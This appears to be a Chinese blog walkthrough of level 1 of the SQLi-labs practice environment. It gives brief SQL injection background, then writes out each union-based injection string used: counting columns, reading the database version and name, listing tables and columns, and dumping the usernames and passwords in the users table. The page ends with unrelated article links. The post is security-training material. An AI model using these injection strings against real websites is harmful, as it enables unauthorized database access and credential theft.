SQLI_LAB------level 1
SQLI_LAB
刷题刷题刷题!!!
知识扩展:
SQL
1)SQL注入介绍
SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。
2)关于SQL基础语句
增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3)Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
。。。。。。待续
less1
这是进去以后的主界面

下面开始进行简单测试
判断是否存在注入点


基础语句 and 1=1 、 and 1=2 判断 这里发现页面没什么变化。尝试测试 单引号 ‘
构造的语句:-1'

发现页面出现报错信息,判断页面存在get注入。
开始构造sql语句,查询字段数量。 通常使用order by 2........
构造的语句:-1'+order+by+3--+

通过不断测试发现当数字4时开始报错,说明数据库中有3个字段。
构造的语句:-1'+order+by+4--+

知道字段数以后,开始获取数据库版本,当前库名
构造的语句:-1'+union+select+1,version(),database()--+

得到版本、库名等信息以后,开始获取表名
构造的语句:-1'+union+select+1,group_concat(table_name),database()+from information_schema.tables+where+table_schema='security'--+

获取到表名以后,开始尝试获取字段名
构造语句:-1'+union+select+1,group_concat(column_name),database()+from information_schema.columns+where+table_name='users'--+

获取到字段名后,开始尝试获取字段内容
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password),+3+from+users--+

但是这样有点乱,所以加个换行符 正常的话应该十六的进制的数但是呢没记住就直接写了
构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password,'<hr />'),+3+from+users--+

第一关完成。。。。。。
SQLI_LAB------level 1的更多相关文章
- Java compiler level does not match解决方法
从别的地方导入一个项目的时候,经常会遇到eclipse/Myeclipse报Description Resource Path Location Type Java compiler level d ...
- Android requires compiler compliance level 5.0 or 6.0. Found '1.4' instead的解决办法
今天在导入工程进Eclipse的时候竟然出错了,控制台输出的是: [2013-02-04 22:17:13 - takepicture] Android requires compiler compl ...
- Android版本和API Level对应关系
http://developer.android.com/guide/topics/manifest/uses-sdk-element.html Platform Version API ...
- [LeetCode] Binary Tree Level Order Traversal II 二叉树层序遍历之二
Given a binary tree, return the bottom-up level order traversal of its nodes' values. (ie, from left ...
- [LeetCode] Binary Tree Zigzag Level Order Traversal 二叉树的之字形层序遍历
Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to ...
- [LeetCode] Binary Tree Level Order Traversal 二叉树层序遍历
Given a binary tree, return the level order traversal of its nodes' values. (ie, from left to right, ...
- Android版本与api Level
Platform Version API Level VERSION_CODE Notes Android 4.4 19 KITKAT Platform Highlights Android 4.3 ...
- Selenium通过WebDriver控制IE浏览器出错 Browser zoom level was set to 109%. It should be set to 100%
错误信息: WebDriverException: Message: Unexpected error launching Internet Explorer. Browser zoom level ...
- pythonchallenge 解谜 Level 8
#-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 import bz2 un=b'BZh91AY&SYA\xaf\x82\r\x00\x00 ...
- pythonchallenge 解谜 Level 7
#-*- coding:utf-8 -*- #代码版本均为python 3.5.1 #Level 7 from PIL import Image x_begin, x_end = 0, 609 y_b ...
随机推荐
- [IDEA] Idea复制文件到项目一直updating indices的问题
通常我们在开发JavaWeb项目的时候,都需要先将网页写好,在进行复制到web目录下,如果里面包含了很多的资源文件,就会造成一直updating indices. 方法一: 这是因为项目需要对web目 ...
- 设计模式课程 设计模式精讲 3-6 单一职责原则Coding
1 要点讲解 1.1 需要注意 2 代码演练 2.1 类的单一职责原则demo 2.2 接口的单一职责原则demo 2.3 方法的单一职责原则demo 1 要点讲解 1.1 需要注意 1.1.1 实际 ...
- Flask - 性能分析(Profiling,profiler,profile)
1. 疑问 @app.cli.command() @click.option('--length', default=25, help='Number of functions to include ...
- Python - python里有类似Java的接口(interface)吗?
参考 https://stackoverflow.com/questions/2124190/how-do-i-implement-interfaces-in-python https://stack ...
- OA:办公自动化———笔记一
oa:办公自动化 1.对公司结构的管理 基础数据管理 部门进行管理 角色进行管理 权限进行管理 员工进行管理 2.流程管理 利用工作流技术对比较 ...
- python 基础之集合
集合 s=set('chen xi') s1=['cx','ee','cx'] s2=set(s1)#set为集合 print(s2,type(s2)) s=list(s2) print(s,type ...
- Spring学习(四)
Spring Ioc容器 1.具有依赖注入功能的容器.负责实例化,定位,配置应用程序中的对象及建立这些对象间的依赖.在Spring中BeanFactory是Ioc容器的实际代表者.BeanFactor ...
- 夯实Java基础(十九)——集合
1.前言 集合在Java中的地位想必大家都知道,不用多BB了.无论是在我们现在的学习中还是在今后的工作中,集合这样一个大家族都无处不在,无处不用.在前面讲到的数组也是一个小的容器,但是数组不是面向对象 ...
- Excel使用小技巧
1.Excel随机设置单元格的内容为整数0或1: 在单元格中写公式: =ROUND(RAND(),0) 2.设置某个单元格的值为1或0,根据其他3个单元格的值为0或1来确定: 在该单元格中写公式: ...
- python随机函数.2020.2.26
随机生成函数: import random //首先要引用random模板 print(random.randint(0,9)) //random的语法 random.randint(0,9 ...